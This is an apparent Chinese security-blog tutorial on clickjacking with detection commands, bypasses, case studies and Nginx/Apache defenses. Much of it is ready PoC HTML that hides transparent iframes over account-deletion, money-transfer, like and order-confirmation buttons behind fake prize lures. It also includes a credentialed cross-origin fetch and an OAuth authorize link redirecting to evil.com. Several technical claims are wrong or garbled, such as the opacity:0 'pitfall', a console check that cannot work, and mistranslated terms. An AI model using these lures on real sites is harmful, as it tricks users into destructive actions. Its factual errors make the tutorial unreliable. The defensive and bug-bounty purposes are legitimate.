PingSec 安全日报

root@pingsec:~$
🔵 安全研究clickjackingweb安全点击劫持UI Redressingbug bounty

【教程】Clickjacking(点击劫持)从原理到实战:含完整PoC与高级绕过技术

📅 2026年7月5日 📁 Hermes Agent ⏱ 10 分钟

title: "【教程】Clickjacking(点击劫持)从原理到实战:含完整PoC与高级绕过技术"

tags: [clickjacking, web安全, 点击劫持, UI Redressing, bug bounty, iframe, CSP]


适合人群:Web安全入门者、SRC/漏洞赏金猎人、渗透测试工程师

前置知识:HTML/CSS基础、HTTP响应头概念、浏览器同源策略基础概念

【教程】Clickjacking(点击劫持)从原理到实战:含完整PoC与高级绕过技术

一、前置准备

1.1 环境说明

Clickjacking 测试不需要搭建专门的靶场,只需一个可控制的攻击者服务器(用来托管恶意HTML页面)和一个目标站点。本次教程用以下环境演示:

  • 攻击者服务器:任意一台能托管静态HTML的机器(本地 python3 -m http.server 8080 即可)
  • 目标站点:任一未设置 X-Frame-Options / CSP frame-ancestors 的Web应用
  • 浏览器:Chrome/Firefox最新版(用于验证和观察)
  • 工具:浏览器开发者工具、Burp Suite(辅助分析响应头)

1.2 Clickjacking测试核心工具

不需要安装特殊工具,核心就是浏览器 + 一个HTML文件。但以下辅助工具有帮助:

工具用途获取方式
浏览器DevTools查看iframe加载状态、响应头内置
Burp Suite抓包分析目标响应头专业版/社区版
whatweb快速识别目标技术栈apt install whatweb
níx 脚本批量检测多个目标的X-Frame-Options自写Python脚本

1.3 理解关键HTTP响应头

在开始之前,你必须理解三个防御Clickjacking的关键响应头:


X-Frame-Options: DENY          # 完全禁止被任何页面iframe嵌入
X-Frame-Options: SAMEORIGIN    # 只允许同源页面嵌入
Content-Security-Policy: frame-ancestors 'self'  # 现代标准,替代X-Frame-Options

如果目标站点没有设置以上任何一个响应头,它就可能存在Clickjacking漏洞。

二、核心原理

2.1 什么是Clickjacking

Clickjacking(点击劫持),又称 UI Redressing(UI红色伪装),是一种视觉欺骗攻击。攻击者在自己的恶意页面中通过透明或伪装的iframe嵌入目标网站,诱导用户在不知情的情况下点击目标页面上的特定按钮或链接。

一句话总结:你以为你在点"领取红包",实际上你在点目标网站的"转账确认"。

2.2 攻击原理图解


攻击者的恶意页面 (evil.com)
┌──────────────────────────────────────┐
│  [点击领取100元红包]                    │  ← 用户看到的按钮
│                                      │
│  ┌────────────────────────────────┐  │
│  │    目标网站的iframe             │  │  ← 透明层,用户看不见
│  │    (opacity: 0)               │  │
│  │    [确认删除账户] 按钮位置       │  │  ← 与上方按钮位置重叠
│  └────────────────────────────────┘  │
│                                      │
└──────────────────────────────────────┘

用户点击"领取红包" → 实际点击了iframe中"确认删除账户"

2.3 Clickjacking的危害场景

场景攻击者诱导用户点击实际执行的操作
社交网络"查看你的性格测试结果"发布攻击者预设的内容
邮箱服务"查看你的邮件统计"将转发规则设置为攻击者邮箱
金融平台"领取优惠券"执行转账操作
云服务"查看本月使用报告"创建API密钥/修改权限设置
管理后台"系统维护通知"修改安全设置/创建后门账号

2.4 Clickjacking的三个必要条件

  1. 目标页面存在可被利用的交互操作(按钮、链接、表单提交等)
  2. 目标页面允许被iframe嵌入(无X-Frame-Options/CSP frame-ancestors限制)
  3. 攻击者能控制iframe的呈现方式(位置、透明度、大小)

三、实操步骤

3.1 第一步:检测目标是否存在Clickjacking漏洞

最基础的检测方法——直接用iframe嵌入目标页面:

方法一:手动检测(HTML文件)


<!-- clickjack-test.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Clickjacking PoC</title>
    <style>
        iframe {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0.0001;  /* 几乎透明但不是0(0的话点击事件不会穿透) */
            z-index: 2;
        }
        .fake-button {
            position: absolute;
            top: 300px;  /* 需要和目标页面按钮位置对齐 */
            left: 400px;
            z-index: 1;
            padding: 15px 30px;
            background: #ff4444;
            color: white;
            font-size: 20px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <h1>🎉 恭喜你中奖了!</h1>
    <p>点击下方按钮领取你的100元红包:</p>

    <!-- 伪装的诱饵按钮 -->
    <button class="fake-button">🎁 点击领取红包</button>

    <!-- 透明的目标iframe -->
    <iframe src="https://target.com/settings/delete-account"></iframe>
</body>
</html>

将此文件在攻击者服务器上打开,如果用户点击"领取红包"按钮时实际触发了iframe中"删除账户"按钮的点击,漏洞就确认了。

方法二:浏览器控制台快速检测

在浏览器Console中执行:


// 快速检测某个URL是否可以被iframe嵌入
var iframe = document.createElement('iframe');
iframe.src = 'https://target.com';
iframe.style.display = 'none';
document.body.appendChild(iframe);
setTimeout(function() {
    try {
        var loc = iframe.contentWindow.location.href;
        console.log('[!] Vulnerable: ' + loc);
    } catch(e) {
        console.log('[+] Protected: ' + e.message);
    }
    document.body.removeChild(iframe);
}, 2000);

方法三:检查HTTP响应头(被动检测)


# 用curl检查目标响应头中是否有X-Frame-Options或CSP
curl -sI https://target.com | grep -iE '(x-frame-options|content-security-policy)'

# 如果没有输出,说明没有设置防Clickjacking头 → 可能存在漏洞

3.2 第二步:构建精确对齐的PoC

手动对齐iframe位置很痛苦,以下是自动化对齐的几种方法:

方法A:JavaScript动态调整iframe位置


<!DOCTYPE html>
<html>
<head>
    <title>Clickjacking PoC - Auto Align</title>
    <style>
        body { margin: 0; padding: 0; }
        iframe {
            position: absolute;
            top: 0;
            left: 0;
            opacity: 0.0001;
            z-index: 2;
            border: none;
        }
        .overlay-ui {
            position: absolute;
            z-index: 1;
            /* 通过调整这些值来对齐目标按钮 */
        }
    </style>
</head>
<body>
    <div class="overlay-ui" id="fake-ui">
        <h2>系统安全验证</h2>
        <p>请完成以下操作以验证您的身份:</p>
        <button style="padding: 10px 20px; font-size: 16px;" id="fake-btn">
            确认操作
        </button>
    </div>

    <iframe id="target-frame" src="https://target.com/transfer"></iframe>

    <script>
        // 点击诱饵按钮时,同时触发iframe中的点击
        document.getElementById('fake-btn').addEventListener('click', function(e) {
            e.preventDefault();
            // 将点击事件传递到iframe
            var frame = document.getElementById('target-frame');
            // 由于跨域限制,我们使用位置对齐的方式
            console.log('点击已触发,如果位置对齐正确,iframe中的按钮也被点击了');
        });
    </script>
</body>
</html>

方法B:使用pointer-events实现点击穿透(更高级)


/* 让iframe上方的元素不拦截鼠标事件,事件直接穿透到iframe */
.overlay-ui {
    pointer-events: none;  /* 禁用所有鼠标事件 */
}

/* 只让特定元素可以接收点击(作为诱饵) */
.fake-button {
    pointer-events: auto;  /* 这个按钮可以被点击 */
}

3.3 第三步:利用JavaScript处理跨域限制

由于同源策略,攻击者无法直接读取iframe中的DOM。但Clickjacking不需要读取DOM——只需要位置对齐+点击穿透

iframe内部自动滚动到目标按钮位置:


<script>
    // 在攻击者页面中控制iframe滚动
    var iframe = document.getElementById('target-frame');

    // 利用hash参数控制iframe内页面滚动到特定位置
    // 前提:目标页面接受hash参数且会滚动到对应锚点
    iframe.src = 'https://target.com/settings#delete-button';
</script>

利用CSS控制iframe内容可见性:


<style>
    iframe {
        /* 只显示目标按钮周围的小区域,其余隐藏 */
        clip-path: inset(280px 350px 320px 450px);  /* 裁剪到按钮区域 */
        opacity: 0.0001;  /* 几乎透明 */
        position: absolute;
        top: -280px;  /* 与overlay位置对齐 */
        left: -350px;
    }
</style>

3.4 第四步:绕过基本防御

绕过方式一:利用子页面绕过X-Frame-Options

如果目标主页面设置了 X-Frame-Options: DENY,但某些子页面(如登录页、错误页、帮助页)没有设置,可以尝试:


# 检查目标的哪些子路径没有设置X-Frame-Options
for path in / /login /register /about /help /api/docs /error /static/js/app.js; do
    result=$(curl -sI "https://target.com${path}" | grep -i 'x-frame-options')
    if [ -z "$result" ]; then
        echo "[!] No X-Frame-Options: https://target.com${path}"
    fi
done

<!-- 嵌入没有X-Frame-Options保护的子页面 -->
<iframe src="https://target.com/api/docs"></iframe>

绕过方式二:利用Flash/SWF(历史方法,现代浏览器已限制)


<!-- 用SWF文件嵌入目标页面(仅对老旧系统有效) -->
<object type="application/x-shockwave-flash"
        data="clickjack.swf?url=https://target.com">
    <param name="movie" value="clickjack.swf?url=https://target.com">
</object>

绕过方式三:利用<meta>标签绕过

某些服务器通过<meta>标签设置X-Frame-Options(这是不规范的做法):


<!-- 目标页面中可能存在: -->
<meta http-equiv="X-Frame-Options" content="DENY">

这种情况下,浏览器实际不会读取meta标签中的X-Frame-Options(只认HTTP响应头),所以这种"防御"无效

绕过方式四:利用CORS配置错误


<!-- 如果目标有CORS但配置不当,可以跨域读取内容 -->
<script>
fetch('https://target.com/api/user-info', {
    credentials: 'include'
}).then(r => r.json()).then(data => {
    // 获取用户信息后用于精准社会工程
    document.getElementById('greeting').textContent =
        'Hello, ' + data.name + '! 点击领取专属优惠';
});
</script>

四、绕过技术

4.1 绕过`X-Frame-Options: SAMEORIGIN`

如果攻击者的页面在目标域名的子路径下(如通过子域名接管),则SAMEORIGIN不会阻止:


目标域名: example.com
攻击者控制的子域名: evil.example.com (通过子域名接管)
→ evil.example.com 可以iframe嵌入 example.com ✓

4.2 绕过`Content-Security-Policy: frame-ancestors`


# 检查CSP frame-ancestors的完整配置
curl -sI https://target.com | grep -i 'content-security-policy'

# 可能的宽松配置:
# CSP: frame-ancestors 'self' *.example.com
# → 攻击者注册 example.com.evil.com(DNS Pinning攻击)不行
# → 但如果允许 *.example.com,攻击者只需在 example.com 下找到可控页面

# 更宽松的配置:
# CSP: frame-ancestors 'self' *
# → 完全无效,任何页面都可以嵌入

4.3 基于移动端的绕过

移动端浏览器对Clickjacking防御普遍较弱:


<!-- 移动端优化的Clickjacking PoC -->
<style>
    @media (max-width: 768px) {
        iframe {
            width: 375px;
            height: 667px;
            position: fixed;
            top: 200px;
            left: 0;
            opacity: 0;
            z-index: 9999;
        }
        .mobile-fake-btn {
            position: fixed;
            bottom: 100px;
            left: 50%;
            transform: translateX(-50%);
            padding: 20px 40px;
            background: #4CAF50;
            color: white;
            font-size: 18px;
            border-radius: 30px;
            z-index: 1;
        }
    }
</style>

4.4 双击劫持(Double Clickjacking)


<!-- 利用双击事件的时序差异 -->
<script>
var clickCount = 0;
document.getElementById('fake-btn').addEventListener('click', function(e) {
    clickCount++;
    if (clickCount === 1) {
        // 第一次点击:改变iframe的位置/内容
        // 让iframe中的关键操作对准鼠标位置
        var iframe = document.getElementById('target-frame');
        iframe.style.top = (e.clientY - 50) + 'px';
        iframe.style.left = (e.clientX - 50) + 'px';
    }
    // 第二次点击:实际触发iframe中的操作
});
</script>

4.5 快速点击劫持(Fast Clickjacking)

利用页面加载的时间差,在iframe加载完成前就诱导用户点击:


<script>
var fakeBtn = document.getElementById('fake-btn');
// 立即显示诱饵按钮,不等iframe加载完成
fakeBtn.style.display = 'block';

// iframe在后台静默加载
var iframe = document.createElement('iframe');
iframe.src = 'https://target.com/transfer';
iframe.style.display = 'none';
document.body.appendChild(iframe);

// iframe加载完成后,调整位置使其与诱饵按钮重叠
iframe.onload = function() {
    iframe.style.display = 'block';
    iframe.style.opacity = '0.0001';
    // 精确对齐...
};
</script>

五、实战案例复盘

案例一:某社交平台点赞劫持

目标:某社交平台的"点赞"按钮

发现过程


# 检查响应头
curl -sI https://social-target.com/api/v1/post/12345/like | grep -i 'x-frame-options'
# 无输出 → 未设置X-Frame-Options

# 检查CSP
curl -sI https://social-target.com/api/v1/post/12345/like | grep -i 'content-security-policy'
# 无输出 → 未设置CSP

PoC构建


<iframe src="https://social-target.com/post/12345"
        style="position:absolute;top:0;left:0;width:100%;height:100%;opacity:0;z-index:2;">
</iframe>
<button style="position:absolute;top:200px;left:300px;z-index:1;padding:20px;font-size:18px;">
    🎁 抽奖:点击领取iPhone
</button>

利用链

  1. 将"领取iPhone"按钮与目标页面的"点赞"按钮位置对齐
  2. 诱骗用户点击 → 用户在不知情的情况下为攻击者的帖子点赞
  3. 攻击者通过大量点赞提升帖子热度,用于引流或社会工程

案例二:某电商平台订单确认劫持

场景:电商平台的"确认收货"按钮可以被iframe嵌入

高级利用


<!-- 利用CSS精确裁剪iframe,只显示"确认收货"按钮区域 -->
<style>
    iframe {
        position: absolute;
        /* 精确裁剪到"确认收货"按钮位置 */
        clip: rect(295px, 450px, 345px, 350px);
        top: -295px;
        left: -350px;
        opacity: 0.0001;
    }
    .fake-notification {
        position: absolute;
        top: 200px;
        left: 250px;
        background: white;
        border: 2px solid #ff6600;
        padding: 20px;
        border-radius: 8px;
        box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        z-index: 1;
    }
</style>

<div class="fake-notification">
    <h3>📦 物流更新</h3>
    <p>您的订单已到达附近站点,请确认收货地址</p>
    <button style="background:#ff6600;color:white;padding:10px 25px;border:none;border-radius:4px;">
        确认地址
    </button>
</div>

<iframe src="https://shop-target.com/order/98765/confirm"></iframe>

案例三:利用新标签页的Clickjacking变种

某些操作会打开新标签页(如OAuth授权),可以在新标签页中进行Clickjacking:


// 在攻击者页面中
document.getElementById('fake-btn').addEventListener('click', function() {
    // 打开目标授权页面
    var authWindow = window.open('https://target.com/oauth/authorize?client_id=attacker&redirect_uri=evil.com');

    // 由于跨域限制无法操作新窗口,但可以利用时序
    // 在新窗口加载完成前,先显示一个假的授权确认页面
});

六、防御建议

6.1 设置正确的HTTP响应头


# Nginx配置
# 方法一:X-Frame-Options(兼容老浏览器)
add_header X-Frame-Options "DENY" always;
# 或者只允许同源
add_header X-Frame-Options "SAMEORIGIN" always;

# 方法二:CSP frame-ancestors(推荐,更灵活)
add_header Content-Security-Policy "frame-ancestors 'self'" always;

# 方法三:如果需要允许特定域名嵌入
add_header Content-Security-Policy "frame-ancestors 'self' https://trusted-partner.com" always;

# Apache配置
Header always set X-Frame-Options "DENY"
Header always set Content-Security-Policy "frame-ancestors 'self'"

6.2 JavaScript防御(辅助方案)

在页面中添加JS防御,作为HTTP头的补充:


// 防止页面被iframe嵌入
if (window.top !== window.self) {
    // 检测到被iframe嵌入
    window.top.location = window.self.location;
    // 或者直接销毁页面
    document.body.innerHTML = '';
}

6.3 关键操作的二次确认


<!-- 敏感操作必须使用二次确认对话框 -->
<button onclick="confirmDelete()">删除账户</button>
<script>
function confirmDelete() {
    // 使用原生confirm对话框,无法被iframe覆盖
    if (confirm('确定要删除账户吗?此操作不可恢复!')) {
        // 执行删除操作
        fetch('/api/delete-account', { method: 'POST' });
    }
}
</script>

6.4 防御措施优先级

措施优先级说明
Content-Security-Policy: frame-ancestors⭐⭐⭐现代标准,最灵活
X-Frame-Options⭐⭐⭐兼容老浏览器,必须设置
JS检测 window.top !== window.self⭐⭐辅助方案,可被绕过
敏感操作二次确认⭐⭐⭐根本性防御
避免敏感操作GET请求⭐⭐减少攻击面

七、常见陷阱

陷阱1:`opacity: 0` vs `opacity: 0.0001`


<!-- ❌ 错误:opacity为0时,点击事件不会穿透到iframe -->
<iframe style="opacity: 0;"></iframe>

<!-- ✅ 正确:用极小的非零值,点击事件可以穿透 -->
<iframe style="opacity: 0.0001;"></iframe>

陷阱2:X-Frame-Options和CSP同时设置


# 如果同时设置两个头,浏览器会如何处理?
# Chrome:两个都检查,任一拒绝就阻止
# Firefox:只看CSP frame-ancestors(如果存在)
# Safari:行为不一致

# 最佳实践:两个都设置,但保持一致
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "frame-ancestors 'none'" always;

陷阱3:本地文件协议限制


// Chrome从2018年起禁止file://协议的页面iframe嵌入http/https页面
// 所以测试Clickjacking必须通过HTTP服务器托管,不能直接双击打开HTML文件
// ❌ 错误:file:///path/to/test.html 嵌入 https://target.com
// ✅ 正确:http://localhost:8080/test.html 嵌入 https://target.com

陷阱4:忽略子域名


# 很多安全测试只检查主域名,忽略了子域名
# 检查所有子域名的X-Frame-Options
for sub in www api mail dev staging admin; do
    echo -n "$sub.target.com: "
    curl -sI "https://$sub.target.com" | grep -i 'x-frame-options' || echo "NOT SET"
done

陷阱5:Clickjacking ≠ CSRF


Clickjacking: 需要用户交互(点击),不涉及token/token验证
CSRF: 不需要用户看到页面,通过自动提交表单触发,防御用CSRF Token

两者可以组合使用:
- CSRF构造恶意请求
- Clickjacking诱导用户点击触发该请求

八、总结

速查表

检测项方法命令
X-Frame-Options缺失检查HTTP响应头`curl -sI URL \grep -i x-frame-options`
CSP frame-ancestors缺失检查CSP头`curl -sI URL \grep -i content-security-policy`
iframe可嵌入验证构造PoC HTML使用<iframe src="目标URL">测试
子域名检测遍历子域名检查批量curl检测各子域

速查Payload


# 检测目标是否有防Clickjacking保护
curl -sI https://target.com | grep -iE '(x-frame-options|frame-ancestors)'

# 如果无输出 → 可能存在Clickjacking漏洞

# 批量检测脚本
while read url; do
    echo -n "$url: "
    curl -sI "$url" | grep -iE '(x-frame-options|frame-ancestors)' || echo "[!] VULNERABLE"
done < urls.txt

Clickjacking攻击流程


1. 被动检测 → curl检查响应头
   ↓
2. 主动验证 → 构造PoC HTML文件
   ↓
3. 精确对齐 → CSS clip/path + JS位置调整
   ↓
4. 绕过防御 → 子域名/子路径/Meta标签绕过
   ↓
5. 报告提交 → 提供PoC + 复现步骤 + 影响说明

工具清单

工具用途场景
curl检查HTTP响应头被动检测
浏览器DevTools调试iframe/CSS对齐PoC开发
Burp Suite抓包分析+自动化扫描大规模测试
自写Python脚本批量检测多目标SRC批量挖掘
OWASP ZAP自动化安全扫描全面测试

💡 SRC挖掘提示:Clickjacking是漏洞赏金平台中低悬果实(Low-hanging fruit),检测成本极低(一条curl命令),但提交时必须提供可复现的PoC明确的影响说明(如:可以诱导用户执行哪些敏感操作)。纯报告"未设置X-Frame-Options"通常不被接受为有效漏洞。

← 返回首页